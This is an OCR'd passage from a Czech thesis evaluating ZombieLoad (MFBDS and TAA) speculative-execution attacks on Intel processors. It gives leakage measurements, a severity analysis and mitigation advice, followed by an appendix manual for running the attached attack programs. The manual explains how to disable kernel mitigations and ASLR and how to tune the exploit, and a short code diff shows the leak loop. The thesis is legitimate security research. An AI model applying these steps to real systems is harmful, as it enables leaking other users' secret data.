cesor také disponuje ¢tyfmi fyzickymi a osmi logickymi jadry, ale nepodpo-
ruje instrukéni rozsiteni TSX. Na tomto systému proto nebylo mozné testovat
utoku na zranitelnost TAA. Pouzit byl opera¢ni systém Kali Linux ve verzi
5.7.6-1kali2 [36] a mikrok6d v revizi 0xd6 ze dne 27. 4. 2020 (opét se jednalo
0 nejnovéjsi revizi).

Testovana byla varianta, kdy program uto¢nika bézi na stejném logickém
jadre jako program obéti, i varianta, kdy jeden program bézi na prvnim hy-
perthreadu a druhy program na druhém hyperthreadu. U vSech testti byl
pocet iteraci nastaven na 100 000. D&le pri kazdém testu konkrétni vari-
anty utocnika a obéti bylo provedeno 100 nezavislych spusténi obou pro-
gramu. Testy byly provadény na co nejméné zaneprazdnéném systému — jed-
nalo se tedy o idealni podminky pro utok. Pro testovani ttoku na stejném
logickém jadre bylo potreba vypnout softwarové zaplaty pomoci argumentt
jaddra mds=off a pripadné také tsx_async_abort=off. Bez téchto argu-
mentl dopadly testy dle o¢ekavani — nedochézelo k iniku dat. V obou pripadech
programi obéti byla jako tajna hodnota zvoleno ¢islo 0x4142434445464748%0.

ﬁspéénost dané implementace proti dané obéti v dané varianté (itok na stejném
logickém jadie nebo mezi hyperthready) byla vzdy urCovand stejnym zpusobem.
Vystupem programt ttoc¢nika je mnozina odtajnénych osmic byt a jejich
cetnosti. Pro zjednoduseni byly pfi vyhodnocovani ignorovany zavislosti mezi
byty v dané osmici — pro provedené testy toto zjednoduseni nijak vysledek ne-
ovlivnilo'®. Pro kazdy sloupec ve vystupu byla uréena mnozina moznych hod-
not a jejich cetnosti. Zvolena byla vzdy hodnota s nejvyssi ¢etnosti s vyjimkou
nuly, kterd obvykle méla nejvyssi ¢etnost proto, ze se jednalo o skutecnou hod-
notu v paméti, a ne spekulativni hodnotu. Takto bylo zvoleno osm bytu jako

po nejvyssi. V ttocich jsou byty indikovany ve stejném poradi a je tak pro nizsi byty vyssi
Sance, ze se povede jejich odtajnéni.

16Situace by byla jind, kdyz by programy obéti pracovaly s vice riiznymi tajnymi hodno-
tami.
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5.1. Analyza tdtoku na MFBDS pomoci asistence mikrokédu

vvvvvvvv

osmice pak byla porovnand se skute¢nou tajnou hodnotou a bylo uréeno, kolik
byt z osmice se podarilo odtajnit. Takto bylo provedeno 100 méfeni a pro-
centuilné vyhodnoceno, kolik bytd z osmi v méreném vzorku unika.

5.1 Analyza itoku na MFBDS pomoci asistence
mikrokédu

Zranitelnost MFBDS se podarilo potvrdit variantou itoku mfbds_zombieload.
Ukézkovy vystup programu ukazuje vypis Vystup na kazdém radku ob-
sahuje vypis osmice bytd spoleéné s poctem jejich vyskytu. Aby byl vystup
kratsi, byl pocet iteraci zménén na 1 000. Jak je vidét, dspésnost atoku to ni-
jak neovlivnilo. Ve vystupu je mozné pozorovat tnik az Sesti byt z osmi.
Je také vidét, ze velmi casto dochazi k tniku pouze podmnoziny tajnych
dat. Nejcastéjsi hodnotou je osmice nul, coz je ocekavané, jelikoz se jednd
o skutec¢nou hodnotu ulozenou v paméti, ze které spekulativni na¢itani probiha.
Pii atoku bylo spekulativné nacitdno z adresy zarovnané na nasobek 64 B
(velikost cache line). Jednoduchou modifikaci titoku je mozné pozorovat, ze
pri¢tenim néjakého offsetu k adrese, na kterou se 1toci, se nalezité posunou
i unikla data. Lze si timto zvolit, jaka data v ramci cache line chceme, aby
unikala.

1 0 0 0 0 0 0O 0 O 802
2 047 0 O O O O O 4
3 047 045 O O O O 3
4 0 47 0 45 44 0 O O 1
5 047 46 0 O O O O 16
6 0 47 46 45 O O O O 13
7 0 47 46 45 44 0 0 O 6
8 48 0 46 45 O O O O 3
9 48 0 46 45 44 43 O O 1
10 48 47 0 O O O O O 30
11 48 47 O 0 44 0 O O 1
12 48 47 0 45 O O O O 23
13 48 47 0 45 44 0 O O 1
14 48 47 46 O O O O O 57
15 48 47 46 0 44 0 0 O 2
16 48 47 46 45 0 O O O 33
17 48 47 46 45 44 0 O O 2
1863 30 0 0 O O O O 2

Vypis kédu 5.1: Vystup programu mfbds_zombieload

Déle jsem na zéakladé dikladného ladéni identifikoval néktera omezeni prilozené
implementace ttoku. Na systému se serverovym procesorem nebylo mozné zra-
nitelnost pozorovat, dokud nebyl zménén rozsah ovérovanych hodnot z plného
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rozsahu 0 — 255 na 65 — 76. Co je zménou rozsahu mysleno, ukazuje vypis
Pfesnou pri¢inu této silné podminky se mi nepodarilo identifikovat. Pro
odstranéni tohoto omezeni jsem zkousel diilezité proménné alokovat rtznymi
zpusoby, aby se vyloucila spojitost s umisténim proménnych v paméti. Déle
jsem kritické ¢asti kdédu (jadro exploitu a meéfeni ¢asu piistupu pro metodu
Flush+Reload) zkousel implementovat jinymi zpusoby. To zahrnuje pouziti in-
line assembleru namisto samostatného .S souboru, doplnéni ¢i ubrani mfence
a 1fence instrukci, zjednoduseni exploitu pro inik pouze jednoho bytu, zmény
zpusobu indikace byt nebo napriklad iprava parametri pro kompilaci. Podarilo
se pouze urdit, Ze (ne)tuspésnost ttoku zavisi na koncové hodnoté ovérovaného
rozsahu dat. Uspéénost pri ovérovani hodnot mezi 0 a 76 byla stejnd, jako
pii pouziti rozsahu 65 — 76. Specialné byl testovany rozsah, se kterym byl
tajny byte ovérovany metodou Flush+Reload hned jako prvni. Tim se vy-
loucila moznost, ze by ovérovani hodnot predchéazejicich skutecnou hodnotu
tajného bytu mohlo zpiisobovat vyprazdnéni cache line, ktera odtajnény byte
indikuje. Omezeni bylo pozorovano nezavisle na pouzitém operacnim systému
a revizi mikrokédu. Vzhledem k tomu, ze na druhém systému toto omezeni
nebylo pozorovano, je mozné predpokladat, ze se jednd o nedokonalost imple-
mentace utoku na této mikroarchitekture.

if (!setjmp(jmpbuf))
exploit (user_page, kernel_page, probe_array);

- for (int j = 0; j <= 255; j++)
+ for (int j = ’A’; j <= °L°’; j++)
for (int k¥ = 0; k < 8; k++)
if (reload_flush(probe_array + j *x 4096 * 4
+ k * 2048) < CACHE_TRESHOLD)
leaked_bytes[k] = j;

Vypis kdédu 5.2: Zména rozsahu ovérovanych dat v programu
mfbds_zombieload

Na druhém systému (notebook) byla identifikovand jind nedokonalost, kterou
je ale mnohem snazsi opravit. Pii nékterych spusténich programu utocnika
dochézelo k tniku hodnot dle pfedpokladu. Casto ale tajnd data neunikala
viibec. Podarilo se urcit, ze tispésnost itoku zavisi na adrese pole probe_array.
Ve vsech pripadech pfitom byly adresy pole zarovnané na stranky (4096 B).
Presny kli¢, podle kterého by se dana adresa oznacila jako vhodné ¢i nevhodna,
se nepodarilo urcit. Lze vsak konstatovat, ze (ne)vhodnost adres byla zacho-
vand i po restartu systému. Pti pouziti jiné distribuce Linuxu na stejném hard-
waru ale byla mnozina vhodnych adres jina. Jelikoz je snadné béhem nékolika
spusténi programu urcit alespon jednu vhodnou adresu, lze na této mikroar-
chitekture tvrdit, ze Gtok je mozné plnohodnotné provést. Zavaznost zranitel-
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nosti MFEBDS byla vyhodnocované na zakladé tohoto systému s prihlednutim
na moznost rozdilného chovani na riznych mikroarchitekturach.

S upravenym moznym rozsahem dat (na 65 — 76, coz v ASCII odpovida
'A' az 'L') na prvnim systému, respektive s pouzitou vhodnou adresou pro
probe_array na druhém systému, byly vysledky velmi podobné. Utok na
stejné logické jadro mél mnohem mensi ispésnost nez titok mezi hyperthready.
Zajimavé je, Ze itok na obét victim_load byl mnohem méné ispésny oproti
obéti victim_store. Vysledky méfeni jsou zndzornény v grafech [5.1 a 5.2

Obréazek 5.1: Pocet odtajnénych byt z osmi ve vzorku 100 méfeni s pouzitim
atoku mfbds_zombieload na stejné logické jadro a programem obéti
victim_load (vlevo) a victim_store (vpravo)

@ 0 bytu

[ 1 byte

O 2 byty

M 3 byty

—5—| O4byty

2 | 5 bytu
6 bytu

@ 7 bytu

[ 8 bytu

Obrazek 5.2: Pocet odtajnénych bytd z osmi ve vzorku 100 méfeni
s pouzitim itoku mfbds_zombieload mezi hyperthready a programem obéti
victim_load (vlevo) a victim_store (vpravo)

@ 0 byta
@ 1 byte
O 2 byty
M 3 byty
O 4 byty
5 byta
[ 6 byt
@ 7 byt
[ 8 byt
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5.2 Analyza Gtoku na MFBDS pomoci page faulti

Déle byly testovany varianty ttoku na MFBDS, které vyuzivaji page faultt.
Ani u jedné ze tii variant se nepodarilo zranitelnost uspokojivé potvrdit. Tes-
tovani ptritom probéhlo s obéma variantami obéti na obou systémech — ser-
verovém i notebookovém. Pro ovéreni, ze k page faultim skutecné dochazi,
byl vyuzit piikaz ps -o min_flt,maj_flt,cmd PID s doplnénim ¢isla procesu
uto¢nika misto PID [37]. V piipadé varianty mfbds_null_ptr podle vystupu
prikazu k page faultim nedochéazi. To je ale pravdépodobné zptisobeno tim,
ze operacni systém nevalidni pristupy do paméti jako page faulty nepocita.
Dukazem, ze k page faultim (z mikroarchitekturdlniho pohledu) skuteéné
dochéazi, je uz jen samotny signal SIGSEGV. Zbyvajici dvé varianty dle vystupu
piikazu ps page faulty jasné generuji.

5.3 Analyza itoku na TAA

Zranitelnost TAA se pomoci programu taa podafilo prokazat. Oproti utoku
pomoci mfbds_zombieload se podarilo identifikovat nékteré odlisnosti. Nut-
nou podminkou pro tnik dat je asynchronni zruseni TSX transakce. Jak bylo
popsano diive, program utoc¢nika splnéni této podminky detekuje a pokousi se
ziskat tajnd data, pouze pokud k asynchronnimu zruseni TSX opravdu doslo.
Bylo mozné si vS§imnout, ze pocet pripadu, kdy byla podminka splnéna, se po-
hyboval mezi 5 000 az 80 000 (ze 100 000). Pouzitim starsi revize mikrokédu
(konkrétné revize e8) se hodnota ustélila okolo 70 000. Je tedy mozné, ze se
Intel pokusil pomoci aktualizace mikrokédu zranitelnost zmirnit. Narozdil od
utoku mfbds_zombieload se nepodarilo volbou adresy, ze které spekulativni
nacitdni probiha, urcovat, ze které c¢asti cache line maji data unikat. Vzdy
unikala stejnd data nezavisle na (ne)zarovnani adresy na 64 B (velikost cache
line). Toto pozorovani je v souladu s dokumentem ZombieLoad!” [1].

I v tomto pripadé se se tspésnost Gtoku na serverovém systému odvijela od
oveérovaného rozsahu dat. V této varianté vsak data unikala v malém meéritku
i pfi pouziti plného rozsahu 0 — 255. To je zndzornéno v grafech[5.3] Zajimavym
poznatkem je, Ze nejcastéji odtajnénym bytem byl byte 0x47 — tedy druhy

evNv s

"Pfesto existuje varianta ttoku na TAA, kterd pomoci rtzného zarovnini adresy
umoziuje odtajnit celou cache line [38].
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@ 0 bytu
@ 1 byte
O 2 byty
I 3 byty
O 4 byty
5 byta
6 bytu
B 7 byt
@ 8 bytu

Obréazek 5.3: Pocet odtajnénych byt z osmi ve vzorku 100 méfeni s pouzitim
atoku taa mezi hyperthready s plnym rozsahem dat a programem obéti
victim_load (vlevo) a victim_store (vpravo)

V této varianté se zranitelnost pii titoku na stejném logickém jadfe nepodatilo
prokézat. Pro posouzeni plného potencidlu zranitelnosti byly testy provadény
s upravenym rozsahem 'A' — 'L'. Vysledky ukazuji grafy [5.4]

@ 0 byta
@ 1 byte
O 2 byty
M 3 byty
7 | 0 4 byty
5 byta
6 byt
@ 7 byt
[ 8 byt

Obrazek 5.4: Pocet odtajnénych byt z osmi ve vzorku 100 méfeni s pouzitim
atoku taa mezi hyperthready s upravenym rozsahem dat 'A' — 'L' a progra-
mem obéti victim_load (vlevo) a victim_store (vpravo)
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5.4 Analyza zavaznosti zranitelnosti

Utok s programy mfbds_zombieload a taa byl dédle proveden proti bézné
pouzivanym aplikacim. Jednalo se o programy jako vim [39], gedit [40], chro-
mium [41] nebo bash [42]. Uvedené programy byly pii testovani spusténé
s pripnutim k danému logickému jadru, jinak byly pouzivané béznym zptisobem.
Utelem testit bylo zejména zjistit, zda je diky zranitelnostem mozné monito-
rovat aktivitu uzivatele. Z toho duvodu programy uto¢niki zkoumaly pouze
tisknutelnou ¢ast ASCII tabulky (od znaku mezera po znak vlnovka). Ukazalo
se, ze ani pri delsim béhu (desitky minut) programu ito¢nika na druhém hy-
perthreadu nebylo mozné pozorovat naznaky aktivity uzivatele. Z toho lze
usuzovat, ze je velmi obtizné pomoci diskutovanych zranitelnosti sledovat
uzivatele.

S upravenou implementaci itoku, kterou nabizi dokument ZombieLoad [1], by
teoreticky mohlo byt mozné ttoc¢it na konkrétni informaci (napiiklad heslo).
V tom pripadé je ale nutné znat alespon nékolik bytil této informace. Utok
je pak mozné provést tak, ze béhem spekulace se unikld data porovnavaji
s kontextem (jiz zndmymi byty). Pokud se ¢ast spekulativnich dat shoduje
s kontextem, ke kontextu se pripoji nové ziskana data. Za predpokladu, Ze je
mozné tutocit na celou cache line, je tak mozné postupné odtajnovat hledanou
informaci. Tato metoda ttoku byla implementovana tymem RIDL [3§].

Predevsim diky atoku, ktery byl popsan v predchozim odstavci, nelze Tici, ze
zranitelnosti v praxi nejsou zneuzitelné. Utok je vsak velmi obtizny. Nejvice
limitujicim faktorem je frekvence, s jakou procesor s tajnymi daty pracuje.
V praxi tato frekvence nebyva dostateénd, aby k tniku dat dochazelo, re-
spektive aby bylo mozné je ve vypisu mezi nezajimavy daty identifikovat.
V praxi se navic jevi jako zneuzitelna pouze zranitelnost TAA. V této praci se
zranitelnost MFBDS podarilo prokdzat pouze pomoci utoku, kterda vyzaduje
administratorska opravnéni. Tato varianta by mohla byt vyuzitelnd pouze pti
utoku z virtudlniho stroje na jiny virtualni stroj, ptipadné proti aplikaci bézici
v SGX rezimu. Zranitelnost TAA je pak mozné zcela eliminovat vypnutim in-
strukéniho rozsiteni TSX. To by ve vétsiné pripadi nemélo mit tak velky
dopad na vykon jako vypnuti hyperthreadingu.

Obecné lze tedy Tici, ze itok je mozny i s nejnovéjsimi zaplatami a operacnim
systémem, ale jeho provedeni je v praxi velmi obtizné.
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Cilem této prace bylo prezentovat itok ZombieLoad na vybrané architekture
a analyzovat zavaznost zranitelnosti zneuzivanych pii utoku. V praci byly
identifikované dvé hlavni zranitelnosti - MFBDS a TAA. Princip titoku na obé
tyto zranitelnosti byl vysvétlen a na zakladé toho byla popsana implementace
nékolika variant programu utoc¢nika. Jako tspésné se pritom ukézaly pouze
dvé varianty ttoku — jedna zneuzivajici MFBDS a jedna zneuzivajici TAA.
ﬁspééné implementace byly testované na dvou ruznych architekturach. Na
kazdé architekture pritom bylo identifikované jiné omezeni ztézujici provedeni
utoku. Implementované varianty by bylo dédle vhodné otestovat na dalsich
mikroarchitekturach procesoru, nalézt pripadnd dalsi omezeni a urcit presny
puvod téchto omezeni spolecné s postupy, jak nalezena omezeni eliminovat.

Na zakladé pozorovanych vysledku lze Fici, ze ispéSnost iitoku zavisi na velkém
mnozstvi faktoru, jako je mikroarchitektura zvoleného procesoru, aktudlni
zatizeni systému a predevsim konkrétni podoba programu ttocnika i obéti.
obéti. Aby k uspésnému ttoku mohlo dojit, musi zranitelné mikroarchitek-
turdlni struktury procesoru s tajnymi daty pracovat velmi frekventované. To
se ukazalo jako nejvétsi prekazka, diky které je v praxi velmi obtizné utok
provést. Presto by MDS zranitelnosti nemély byt zcela ptrehlizené. Lze do-
porucit vypnuti instrukéniho rozsiteni TSX, pomoci kterého by pripadny ttok
byl velmi pravdépodobné veden. Zaroven by vypnuti TSX nemélo mit na
vétsiné systému vyraznéjsi dopad na vykon.

V zavéru psani této prace byla zvefejnéna dalsi MDS zranitelnost, Special Re-
gister Buffer Data Sampling (SRBDS) [43], kterd umoziiuje tnik dat napriklad
z hardwarového generdtoru nahodnych ¢isel. Lze predpokladat, ze se budou
objevovat dalsi MDS zranitelnosti a obecné ttoky zneuzivajici spekulativniho
vykonavani, které budou vyzadovat dalsi zaplaty zpusobujici dalsi snizeni
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nebo akceptovat riziko spojené s nezdplatovanymi zranitelnostmi.
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PRILOHA A

Manual pro provedeni utoku

Pred samotnym utokem je vhodné si ovérit, zda je procesor viibec zranitelny.
K tomu slouzi prilozeny program mitigations_check, ktery je mozné sestavit
prikazem make. Pied jeho spusténim je nutné piikazem sudo modprobe msr
zavést modul jadra umoznujici praci s MSR registry [44]. Program vypisuje
informace o (ne)dostupnosti hardwarovych oprav a softwarovych zaplat presné
tak, jak bylo popsano v kapitole Opravy a zaplaty.

Dalsim krokem je ur¢eni mezni hodnoty pro pristup do opera¢ni paméti a cache.
K tomu je uréen program cache_treshold. Program je nejprve potieba sesta-
vit pfikazem make. Déle je vhodné v souboru Makefile upravit taskset -c 0
za taskset -c CPU, kde CPU je ¢islo logického jadra, na kterém bude spustén
program uto¢nika. Piikaz lscpu -e [45] vypisuje seznam vSech logickych ja-
der véetné jejich parovani na hyperthready. Nasledny piikaz make run provede
100 000 méfeni a na zékladé mediant uréi hranici. Pomoci prikazu make plot
je mozné si namérend data nechat vykreslit a ovérit tak, ze pri méreni nedoslo
k velkému ruseni. Pro vykresleni je vyzadovan program gnuplot [46].

Déle je treba zvolit program obéti. Soucasti prilozeného feSeni jsou dvé vari-
anty — victim_load a victim_store. Jako obétf miize slouZit i libovolny jiny
program. PtiloZené programy obéti je mozné sestavit piikazem make. Spolecné
s programem obéti je potreba zvolit, zda bude utok provadén na stejném lo-
gickém jadre (v takovém piipadé lzde oCekavat mensi tspésnost), nebo mezi
hyperthready. Pred dtokem na stejném logickém jadie je nutné spustit OS
Linux s parametry jadra mds=off tsx_async_abort=off, ¢imz se vypnou
pripadné softwarové zaplaty. Bez ohledu na variantu utoku musi byt jadro
zavedeno s obéma argumenty. Pro Utok mezi hyperthready tyto parametry
nejsou potieba. Spusténi programu obéti na daném logickém jadre je mozné
pomoci prikazu taskset -c CPU COMMAND s doplnénim cisla logického jadra
za CPU a nézvu programu obéti za COMMAND.
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Poslednim krokem je provedeni tutoku. Pred sestavenim programu ttocnika
je nutné zménit konstantu CACHE_TRESHOLD v souboru main.cpp (pripadné
main.c) podle vystupu programu cache_treshold. Déile je mozné zménit
konstantu ITERATIONS, kterd nastavuje pocet pokusi o ziskani tajné hod-
noty. Vsechny prilozené programy tutocnika se sestavuji prikazem make. Pro-
gram utocnika je poté potieba spustit obdobné jako program obéti prikazem
taskset -c¢ CPU COMMAND s nazvem programu misto COMMAND a cislem lo-
gického jadra namisto CPU. To musi byt shodné s ¢islem pouzitym pfi spusténi
programu obéti (v pfipadé ttoku na stejném jadie), nebo se musi jednat o ¢islo
druhého logického jadra (v pripadé dtoku mezi hyperthready).

Specidlné varianta mfbds_zombieload vyzaduje spusténi s administratorskymi
opravnénimi a béh na OS Linux se zavedenym jadrem s dodatecnymi param-
tery nopti nokaslr. Dale muze byt v této varianté pred sestavenim potieba
zménit konstantu 0xFFFF888000000000ULL za 0xFFFF880000000000ULL v sou-
boru main. cpp za predpokladu, ze na daném systému bézi jddro Linuxu s verzi
4.18 nebo starsi. Ostatni varianty itoku administratorska opravnéni ani para-
metry pri zavadéni jadra nevyzaduji. Varianta taa uz ze svého principu muze
byt spusténa pouze na procesoru s instrukénim rozsitenim TSX RTM. Jeho
dostupnost je mozné ovérit prikazem lscpu, kdy v seznamu flags musi byt
uvedeno rtm.

Uspéénost utoku mize byt ovlivnéna mnoha faktory, pfesto lze vyjmenovat
nékteré nejcastéjsi problémy.

e Ve vystupu programu utocnika je vypsano mnoho hodnot s vysokymi
¢etnostmi.

Pti¢in mize byt nékolik. Jednou moznosti je ptilis vysoka hodnota kon-
stanty CACHE_TRESHOLD. Je vhodné ji pravidelné premérovat, jelikoz se
muze s frekvenci procesoru (a tedy vytiZenim systému) velmi ménit.
Velkou zménu je mozné pozorovat pri pripojeni ¢i odpojeni napajeciho
adaptéru notebooku.

Stejné chovani je mozné pozorovat také v pripadé, kdy exploit v kazdé
iteraci pracuje s jinou paméti s riznym obsahem. Napriklad ve vari-
anté mfbds_large_file se pristupuje na jednotlivé stranky velkého sou-
boru mapovaného do adresniho prostoru. Pokud by soubor byl tvoreny
nahodnymi daty, pfi netspésném pokusu o spekulativni provadéni s taj-
nou hodnotou by se indikovala hodnota skute¢né ulozena v dané strance.
Proto vSechny pfilozené exploity pamét, ze které je nacitanim vyvolavano
spekulativni vykonavani, pred pouzitim nuluji. Varianta mfbds_large_file
pracuje se souborem obsahujicim pouze nulové byty. Tato situace by
proto v pripadé prilozenych programu neméla nastat.

20



Také je nutné zminit moznost, ze procesor pri ovérovani indikované
hodnoty metodou Flush+Reload spekulativné prednacita dalsi indikacéni
cache lines, ¢imz vznikéd faleSna indikace. VSechny prilozené varianty
utoku pri ovérovani indikované hodnoty pristupuji do kazdé stranky
nejvyse dvakrat. V ramci této prace jsem na rliznych mikroarchitek-
turach pozoroval, Ze ke spekulativnimu prednacitani dochazi az pri tfetim
pristupu do stejné stranky. Proto by ke spekulativnimu prednacitani
u prilozenych programt nemeélo dochazet.

Pri nékolikanasobném sekvencnim spusténi programu ttocnika v nékterych
ptipadech tajnd hodnota jasné unikd, jindy zranitelnost nelze pozorovat.

Uspéénost utoku muze byt fixovand na konkrétni umisténi dtlezitych
proménnych programu utoc¢nika i obéti v paméti. V tomto pripadé je
vhodné vypnout ochranu ASLR a KASLR. Diky tomu by rozloZeni
paméti mélo byt pri kazdém spusténi programu ttocénika i obéti velmi
podobné. Ochranu ASLR je mozné na OS Linux vypnout prikazem
sudo bash -c ’echo O > /proc/sys/kernel/randomize_va_space’.
Ochranu KASLR je mozné vypnout zavedenim jadra OS s paramet-
rem nokaslr. S neménnym pamétovym rozloZzenim je pak mnohem jed-
nodussi identifikovat problematickou ¢ast exploitu. Po vypnuti ochrany
ASLR jsem pozoroval, ze vystup programu tto¢nika byl pti vice spusténich
az prekvapivé podobny (témér identicky).

Pri ttoku neni mozné pozorovat tinik dat.

Uspéénost prilozenych variant utoku muze zaviset na velkém mnozZstvi
faktord. Na jedné mikroarchitekture mtze ttok velmi dobre fungovat, na
jiné nemusi data viibec unikat. Navic je ¢asto velmi obtizné identifikovat
presny davod, pro¢ na dané mikroarchitekture néjaka konkrétni varianta
utoku nefunguje.

Obecné lze doporucit nainstalovani starsi revize mikrokodu a spousténi
na starsi verzi operac¢niho systému. Program victim_store se jevi jako
velmi vhodny program obéti, je proto dobré zacit s nim. Utok na stejném
logickém jadre se zd4d jako méné tuspésny, je proto lepsi nejprve zkouset
uatok mezi hyperthready.

Prestoze by procesor podle programu mitigations_check mél byt zra-
nitelny, v praxi tomu tak nemusi nutné byt. Béhem psani této prace
jsem také pracoval s procesorem Intel Core i5-9500, na kterém se ne-
podarilo zranitelnost MFBDS ani TAA prokéazat. Vzhledem k tomu, Ze
tento procesor byl zverejnén ve druhém c¢tvrtletni roku 2019, je mozné
predpokladat, ze nékteré hardwarové opravy jiz méa. Jistéjsi je proto
atocit na procesory vydané pred rokem 2018, kdy zacalo dochézet k hlaseni
MDS zranitelnosti Intelu.
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02

Zasadnim faktorem je konkrétni podoba exploitu na trovni instrukei.
Pfidanim nékolika nop instrukei na nevhodné misto mize prestat ex-
ploit zcela fungovat. Pokud jsou vsechny predpoklady pro tspésny tutok
splnény, ale ttok se presto nedari, je nutné experimentovat predevsim
s jadrem exploitu a kédem metody Flush+Reload.



PRILOHA B

Seznam pouzitych zkratek

ALU Arithmetic logic unit

ASLR Address Space Layout Randomization

BIOS Basic Input/Output System

CISC Complex Instruction Set Computers

KASLR Kernel Address Space Layout Randomization
KPTI Kernel Page Table Isolation

L1 Level 1

L1TF L1 Terminal Fault

L2 Level 2

LFB Line fill buffer

LLC Last level cache

MDS Microarchitectural Data Sampling

MDSUM Microarchitectural Data Sampling Uncacheable Memory
MFBDS Microarchitectural Fill Buffer Data Sampling
MMU Memory management unit

MSR Model-specific register

OS Operaéni systém

PAT Page Attribute Table
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B. SEZNAM POUZITYCH ZKRATEK

PTI Page Table Isolation

RAT Register Alias Table

RDCL Rogue Data Cache Load

RIDL Rogue In-Flight Data Load

RISC Reduced Instruction Set Computers
RTM Restricted Transactional Memory

SGX Software Guard Extensions

SRBDS Special Register Buffer Data Sampling
TAA TSX Asynchronous Abort

TSC Time stamp counter

TSX Transactional Synchronization Extensions
UC Uncacheable

WB Write-back

WC Write-combine

WP Write-protect

WT Write-through

o4



PRILOHA C

Obsah prilozeného CD

readme . Xt .. oott it struény popis obsahu CD
| _src
L Ampl e zdrojové kédy implementace

cache_treshold
mfbds_large file
mfbds_madvise
mfbds null_ptr
mfbds_zombieload
mitigations_check
taa

victim_load
victim _store

| theSisS .ioiiiiieeeeennnn.. zdrojova forma préace ve formatu KTEX
| __text
Lthesis.pdf ............................. text prace ve formatu PDF
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